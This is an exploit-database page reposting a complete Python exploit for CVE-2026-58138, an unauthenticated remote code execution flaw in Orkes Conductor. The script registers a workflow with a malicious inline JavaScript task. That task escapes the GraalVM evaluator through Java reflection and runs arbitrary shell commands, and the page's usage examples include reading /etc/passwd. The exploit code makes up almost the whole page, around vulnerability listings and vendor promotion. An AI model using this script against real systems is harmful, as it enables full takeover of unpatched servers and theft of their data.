π OrkesConductor 3.30.2 Remote Code Execution
ποΈΒ 11 Aug 2026Β 00:00:00Reported byΒ Mohammed Idrees BanyamerTypeΒ
Β packetstormπΒ packetstorm.newsπΒ 19Β Views
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| Exploit for CVE-2026-58138 | 30 Jun 202619:48 | β | githubexploit | |
| Exploit for CVE-2026-58138 | 22 Jul 202617:07 | β | githubexploit | |
| Exploit for CVE-2026-58138 | 27 Jul 202600:38 | β | githubexploit | |
| Exploit for CVE-2026-58138 | 15 Jul 202615:07 | β | githubexploit | |
| CVE-2026-58138 | 30 Jun 202618:44 | β | attackerkb | |
| CVE-2026-58138 | 1 Jul 202617:59 | β | circl | |
| CVE-2026-58138 | 30 Jun 202618:44 | β | cve | |
| CVE-2026-58138 Orkes Conductor 3.21.21 < 3.30.2 Unauthenticated RCE via GraalVM Script Evaluators | 30 Jun 202618:44 | β | cvelist | |
| OrkesConductor 3.30.2 - Unauthenticated Remote Code Execution | 10 Aug 202600:00 | β | exploitdb | |
| EUVD-2026-40377 | 30 Jun 202618:44 | β | euvd |
10
#!/usr/bin/env python3
# Exploit Title: OrkesConductor 3.30.2 - Unauthenticated Remote Code Execution
# CVE: CVE-2026-58138
# Date: 2026-07-10
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Author Blog : https://banyamersecurity.com/blog/
# Vendor Homepage: https://orkes.io/
# Software Link: https://github.com/conductor-oss/conductor
# Affected: Orkes Conductor / Conductor OSS 3.21.21 < 3.30.2
# Tested on: conductoross/conductor:3.22.3
# Category: Remote Code Execution
# Platform: Linux
# Exploit Type: Unauthenticated RCE
# CVSS: 9.8
# Description: Unauthenticated remote code execution by submitting malicious INLINE JavaScript tasks that abuse unsandboxed GraalVM HostAccess.ALL for Java reflection and Runtime.exec.
# Fixed in: 3.30.2
# Usage:
# python3 exploit.py <target> [-c CMD]
#
# Examples:
# python3 exploit.py http://127.0.0.1:8080
# python3 exploit.py http://target:8080 -c "whoami; id; cat /etc/passwd"
#
# Options:
# target Conductor API base URL (e.g. http://127.0.0.1:8080)
# -c, --cmd Command to execute (default: id; hostname)
#
# Notes:
# β’ Requires no authentication (default community API behavior).
# β’ Runs as the Conductor process user (often root in Docker).
# β’ Pure Python stdlib - no extra dependencies.
import argparse
import json
import sys
import time
import urllib.request
def banner():
print(r"""
ββββββββ ββββββ ββββ ββββββ βββ ββββββ ββββ ββββββββββββββββββββ
ββββββββββββββββββββββ βββββββ βββββββββββββββββ βββββββββββββββββββββ
βββββββββββββββββββββββ βββ βββββββ βββββββββββββββββββββββββ ββββββββ
βββββββββββββββββββββββββββ βββββ βββββββββββββββββββββββββ ββββββββ
ββββββββββββ ββββββ ββββββ βββ βββ ββββββ βββ ββββββββββββββ βββ
βββββββ βββ ββββββ βββββ βββ βββ ββββββ ββββββββββββββ βββ
βββ Banyamer Security βββ
""")
def js_rce(cmd):
c = cmd.replace("\\", "\\\\").replace("'", "\\'")
return (
"var k=$.getClass().getClass();"
"var S=k.getMethod('getName').getReturnType();"
"var forName=k.getMethod('forName',S);"
"var L=function(n){return forName.invoke(null,[n]);};"
"var RT=L('java.lang.Runtime');"
"var rt=RT.getMethod('getRuntime').invoke(null,[]);"
"var I=L('java.lang.Integer').getField('TYPE').get(null);"
"var A=L('java.lang.reflect.Array');"
"var arr=A.getMethod('newInstance',k,I).invoke(null,[S,3]);"
"var set=A.getMethod('set',L('java.lang.Object'),I,L('java.lang.Object'));"
f"set.invoke(null,[arr,0,'sh']);set.invoke(null,[arr,1,'-c']);set.invoke(null,[arr,2,'{c}']);"
"var p=RT.getMethod('exec',arr.getClass()).invoke(rt,[arr]);p.waitFor();"
"var isr=L('java.io.InputStreamReader').getConstructor(L('java.io.InputStream')).newInstance(p.getInputStream());"
"var br=L('java.io.BufferedReader').getConstructor(L('java.io.Reader')).newInstance(isr);"
"var o='',l;while((l=br.readLine())!==null)o+=l+'\\n';o"
)
def call(base, path, data=None, method=None):
url = base.rstrip("/") + path
body = json.dumps(data).encode() if data is not None else None
req = urllib.request.Request(
url,
data=body,
method=method or ("POST" if data is not None else "GET"),
headers={"Content-Type": "application/json", "Accept": "application/json,text/plain,*/*"}
)
with urllib.request.urlopen(req, timeout=30) as r:
raw = r.read().decode()
try:
return r.status, json.loads(raw)
except Exception:
return r.status, raw
def main():
banner()
ap = argparse.ArgumentParser(description="CVE-2026-58138 Conductor unauth RCE")
ap.add_argument("target", help="Conductor API base, e.g. http://127.0.0.1:8080")
ap.add_argument("-c", "--cmd", default="id; hostname", help="command to run on the Conductor host")
args = ap.parse_args()
wf = "pwn_" + str(int(time.time()))
wfdef = {
"name": wf,
"version": 1,
"schemaVersion": 2,
"ownerEmail": "[email protected]",
"tasks": [{
"name": "pwn",
"taskReferenceName": "pwn",
"type": "INLINE",
"inputParameters": {"evaluatorType": "javascript", "expression": js_rce(args.cmd)},
}],
}
print(f"[*] Target: {args.target} cmd={args.cmd!r}")
print("[*] Registering workflow with malicious INLINE task ... (no auth)")
call(args.target, "/api/metadata/workflow", wfdef)
st, wid = call(args.target, f"/api/workflow/{wf}", {})
wid = wid if isinstance(wid, str) else str(wid)
print(f"[*] Started workflow id={wid}; fetching output ...")
time.sleep(2)
st, info = call(args.target, f"/api/workflow/{wid}?includeTasks=true")
out = None
for t in (info.get("tasks") or []):
if t.get("taskType") == "INLINE":
out = (t.get("outputData") or {}).get("result")
if out:
print("\n[+] RCE SUCCESS - Command output:")
print(str(out).strip())
else:
print("[!] No output captured. Workflow status:", info.get("status"))
if __name__ == "__main__":
sys.exit(main() or 0)Data
Build on a solid foundation withΒ Vulners data
WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data
Api
Power your application withΒ Vulners API
The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access
App
Assess and manage vulnerabilities withΒ VulnersΒ tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Aug 2026 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 49.3
CVSS 3.19.8
EPSS0.07183
SSVC